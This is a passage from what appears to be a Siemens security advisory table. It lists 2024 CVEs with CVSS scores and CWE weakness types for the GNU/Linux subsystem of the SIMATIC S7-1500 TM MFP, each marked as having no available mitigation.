SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-35935

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-124 - Buffer Underwrite ('Buffer Underflow')

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-35936

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-237 - Improper Handling of Structural Elements

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-35940

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-476 - NULL Pointer Dereference

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-35944

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-787 - Out-of-bounds Write

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-35950

7.0 (High)


                        
                          CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE-908 - Use of Uninitialized Resource

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-35955

8.8 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE-416 - Use After Free

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-35958

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-416 - Use After Free

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-35960

9.1 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

CWE-476 - NULL Pointer Dereference

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-35962

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-1284 - Improper Validation of Specified Quantity in Input

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-35965

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-120 - Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-35966

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-787 - Out-of-bounds Write

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-35967

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-35969

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-770 - Allocation of Resources Without Limits or Throttling

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-35973

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-908 - Use of Uninitialized Resource

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-35976

6.7 (Medium)


                        
                          CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

CWE-787 - Out-of-bounds Write

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-35978

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-401 - Missing Release of Memory after Effective Lifetime

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-35982

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-835 - Loop with Unreachable Exit Condition ('Infinite Loop')

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-35983

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-35984

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-476 - NULL Pointer Dereference

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-35988

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-131 - Incorrect Calculation of Buffer Size

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-35990

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-667 - Improper Locking

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-35996

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-655 - Insufficient Psychological Acceptability

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-35997

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-667 - Improper Locking

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-36004

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-404 - Improper Resource Shutdown or Release

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-36005

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-36006

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-36007

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-36008

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-476 - NULL Pointer Dereference

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-36020

5.3 (Medium)


                        
                          CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-362 - Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-36270

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-36286

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-1287 - Improper Validation of Specified Type of Input

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-36288

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-119 - Improper Restriction of Operations within the Bounds of a Memory Buffer

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-36484

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-99 - Improper Control of Resource Identifiers ('Resource Injection')

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-36489

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-36894

4.4 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H

CWE-362 - Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-36899

7.0 (High)


                        
                          CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE-416 - Use After Free

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-36902

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-476 - NULL Pointer Dereference

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-36904

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-416 - Use After Free

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-36905

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-369 - Divide By Zero

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-36916

6.5 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

CWE-787 - Out-of-bounds Write

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-36929

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-237 - Improper Handling of Structural Elements

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-36939

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-391 - Unchecked Error Condition

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-36940

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-415 - Double Free

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-36959

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-668 - Exposure of Resource to Wrong Sphere

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-36974

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-36978

6.1 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-37356

6.6 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H

CWE-125 - Out-of-bounds Read

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-38381

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-38547

4.4 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-38552

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-38558

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-38559

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-38560

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-38565

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-38567

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-38578

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-38579

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-38587

5.3 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

CWE-129 - Improper Validation of Array Index

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-38589

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-38596

4.7 (Medium)


                        
                          CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-362 - Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-38598

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-667 - Improper Locking

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-38599

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-38612

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-459 - Incomplete Cleanup

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-38615

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-38619

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-38635

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-38659

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-38662

4.4 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-38780

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-667 - Improper Locking

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-39468

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-39482

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-39489

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-401 - Missing Release of Memory after Effective Lifetime

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-39493

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-401 - Missing Release of Memory after Effective Lifetime

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
